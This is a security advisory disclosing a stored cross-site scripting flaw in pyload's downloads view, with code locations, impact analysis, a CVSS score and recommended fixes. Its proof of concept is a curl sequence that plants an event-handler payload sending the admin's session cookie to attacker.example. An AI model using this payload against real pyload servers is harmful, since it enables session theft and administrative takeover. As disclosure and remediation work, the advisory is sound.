Summary

The packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.

Details

Sink: src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188:

const html = `
    <span class='child_status'>
      <span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>
    </span>
    <span style='font-size: 16px; font-weight: bold;'>
      <a onclick='return false' href='${link.url}'>${link.name}</a>
    </span><br/>
    <div class='child_secrow' ...>
      <span class='child_status' ...>${link.statusmsg}</span>&nbsp;${link.error}&nbsp;
      <span class='child_status' ...>${link.format_size}</span>
      <span class='child_status' ...> ${link.plugin}</span>...
    </div>`;

const div = document.createElement("div");
$(div).attr("id", `file_${link.id}`);
$(div).css("padding-left", "30px");
$(div).css("cursor", "grab");
$(div).addClass("child");
$(div).html(html);

link.url flows in from /api/get_package_data, which returns the URL exactly as stored. Seven other fields on the same element (link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) share the same unescaped injection surface.

Source: src/pyload/core/api/__init__.py:541-600 (add_package) and the /api/add_package JSON route store the attacker-supplied links list without HTML escaping. The add_package URL sanitizer only strips http://, https://, ../, ..\\, :, and / from the folder name, not the link URL itself.

Mitigation gap: src/pyload/webui/app/__init__.py:63-72 sets security headers but has no Content-Security-Policy header. The only script-related header is X-XSS-Protection, which is a no-op on modern browsers.

Proof of Concept

Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.

TARGET="http://<pyload-host>:<port>"

# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
    -d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')

# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
    -H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
    -d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'

The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.

When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:

<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>

The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.

Impact

Any user who can reach /api/add_package (which covers the Perms.ADD role, the common baseline for operator users) plants JavaScript that runs in an admin's browser the next time that admin opens the downloads view. The admin's session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting /collector or /queue, the two pages operators use constantly.

The CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls POST /flash/add with the same injected URL and reaches the same sink without logging in.

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (High, 8.3). CWE-79.

Recommended Fix

Two changes.

First, escape every ${link.*} interpolation in the template. jQuery's .text() escapes by default; structure the render so attacker-controlled strings never reach .html():

const a = $("<a/>").attr("href", link.url).text(link.name);
const status = $("<span/>").text(link.statusmsg);
// ... build the DOM with .text() / .attr() calls ...
$(div).append(a).append(status);

If keeping the template-literal style, at minimum wrap every ${link.*} in a helper that HTML-escapes:

const esc = (s) => String(s).replace(/&/g, "&amp;").replace(/</g, "&lt;")
    .replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#39;");

Second, deploy a strict CSP. default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self' kills the inline-handler class entirely, and pyload's own assets already load from 'self'.

Audit the sibling templates (queue.js, dashboard.js, all admin themes) for the same pattern.

Found by aisafe.io

References

• GHSA-fcjq-435v-jx94